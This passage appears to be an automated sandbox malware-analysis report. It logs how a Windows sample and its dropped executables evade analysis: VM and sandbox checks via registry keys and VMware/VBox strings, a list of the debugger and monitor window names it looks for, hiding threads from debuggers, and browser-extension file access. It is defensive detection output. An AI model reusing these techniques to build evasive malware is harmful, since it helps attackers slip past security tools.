Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to evade analysis by execution special instruction which cause usermode exception

Show sources

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 00000000013DFC16 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 0000000003301BEA instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 0000000003302759 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 00000000033109BD instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 000000000330EE36 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 00000000033184F6 instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 0000000003318B2D instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 000000000330543F instructions 0F3F070B33C033D23945080F95C264 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Special instruction interceptor: First address: 00000000033054AC instructions 0FC7C8 caused by: Known instruction #UD exception

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D375.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D375.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: ddigjgj, 00000009.00000002.435857331.000000000075B000.00000004.00000020.sdmp

Binary or memory string: ASWHOOKL

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: 22_2_004065D0

22_2_004065D0

Source: C:\Windows\explorer.exe TID: 6548	Thread sleep count: 585 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6536	Thread sleep count: 172 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6540	Thread sleep count: 241 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6568	Thread sleep count: 352 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6576	Thread sleep count: 131 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4768	Thread sleep count: 81 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe TID: 2236	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe TID: 4000	Thread sleep count: 115 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D375.exe TID: 6020	Thread sleep time: -36000s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 1768	Thread sleep count: 31 > 30

Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\C169.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 585			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 352			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: 22_2_004065D0

22_2_004065D0

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\A70A.exe

Code function: 11_2_013F2823 rdtsc

11_2_013F2823

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	File opened / queried: VBoxGuest	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\A70A.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C169.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior

Source: A70A.exe, 0000000B.00000002.596594969.00000000018B1000.00000004.00000020.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwarePCT2WF3FWin32_VideoControllerFR1S6ED1VideoController120060621000000.000000-00082035712display.infMSBDA1ZWMS9RNPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors8G6D26ZC
Source: C169.exe, 00000017.00000002.578609162.0000000001017000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: C169.exe, 00000017.00000002.605485647.00000000068A5000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
Source: EE61.exe, 0000001F.00000002.578653950.000000000150D000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7A
Source: explorer.exe, 00000004.00000000.340612665.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.359571061.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 00000004.00000000.340612665.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: D375.exe, 0000001A.00000002.601649001.0000000001571000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: WerFault.exe, 0000001B.00000002.566769297.0000000004810000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW0
Source: C169.exe, 00000017.00000002.578609162.0000000001017000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwarePCT2WF3FWin32_VideoControllerFR1S6ED1VideoController120060621000000.000000-00082035712display.infMSBDA1ZWMS9RNikjI
Source: A70A.exe	Binary or memory string: \.\VBoxGuest
Source: explorer.exe, 00000004.00000000.354712312.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: AA02.exe, 00000016.00000002.528893220.00000000008FB000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000002.566899937.000000000484B000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.558307851.000000000484B000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: A70A.exe, 0000000B.00000002.598873693.0000000003300000.00000040.00000001.sdmp	Binary or memory string: !"K\\.\VBoxGuest
Source: explorer.exe, 00000004.00000000.323430367.000000000EF34000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}uuuuvvvvvvuuuu
Source: AA02.exe, 00000016.00000002.528893220.00000000008FB000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW,
Source: A70A.exe	Binary or memory string: \\.\VBoxGuest
Source: C169.exe, 00000017.00000002.605280039.0000000006871000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.340612665.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: AA02.exe, 00000016.00000002.528450541.00000000008D1000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWx=
Source: D375.exe, 0000001A.00000002.601649001.0000000001571000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\QMn13jz6nj.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00401240 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	22_2_00401240
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00401050 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	22_2_00401050
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_004096C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	22_2_004096C0
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00408360 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00408360
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00405990 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,_strtok_s,PathMatchSpecA,CopyFileA,DeleteFileA,_strtok_s,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00405990
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00409260 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	22_2_00409260
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_004094F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_004094F0

Source: C:\Users\user\Desktop\QMn13jz6nj.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D375.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Open window title or class name: windbgframeclass

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Thread information set: HideFromDebugger

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ddigjgj	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\QMn13jz6nj.exe

0_2_004087FB

